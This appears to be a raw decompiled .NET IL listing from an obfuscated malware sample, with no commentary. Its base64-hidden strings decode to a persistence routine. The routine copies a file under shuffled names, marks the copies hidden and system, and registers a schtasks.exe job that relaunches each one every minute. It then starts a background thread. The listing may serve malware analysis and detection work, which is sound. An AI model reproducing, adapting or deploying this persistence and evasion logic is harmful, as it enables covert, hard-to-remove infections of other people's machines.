System.Collections.Generic.List`1<System.String>::.ctor(System.Collections.Generic.IEnumerable`1<System.String>) stloc.2 <null> ldloc.2 <null> callvirt System.Int32 System.Collections.Generic.List`1<System.String>::get_Count() ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 br IL_039B: ldloc.s V_8 ldloc.1 <null> ldloc.s V_8 ldc.i4.1 <null> add.ovf <null> callvirt System.Int32 System.Random::Next(System.Int32) stloc.s V_9 ldloc.2 <null> ldloc.s V_8 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) stloc.s V_10 ldloc.2 <null> ldloc.s V_8 ldloc.2 <null> ldloc.s V_9 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.2 <null> ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.s V_8 ldc.i4.m1 <null> add.ovf <null> stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> bge IL_0365: ldloc.1 ldloc.2 <null> ldc.i4.0 <null> ldc.i4.5 <null> callvirt System.Collections.Generic.List`1<System.String> System.Collections.Generic.List`1<System.String>::GetRange(System.Int32,System.Int32) callvirt System.String[] System.Collections.Generic.List`1<System.String>::ToArray() stloc.0 <null> ldc.i4.0 <null> ldloc.s V_5 ldlen <null> conv.ovf.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_18 stloc.s V_11 br IL_04E4: ldloc.s V_11 ldloc.s V_5 ldloc.s V_11 ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldloc.s V_4 call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_12 ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l ldloc.s V_12 ldc.i4.1 <null> call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean) ldloc.s V_12 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.0 <null> ldloc.s V_11 ldelem.ref <null> stloc.s V_13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_15 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_15 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_14 ldloc.s V_14 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_04C7: leave IL_04DE dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_16 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04C7: leave IL_04DE leave IL_04DE: ldloc.s V_11 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04DE: ldloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> add.ovf <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_18 ble IL_03C1: ldloc.s V_5 ldnull <null> ldftn System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::tfhAeKAAw9YNKTV84bnf() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean) ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>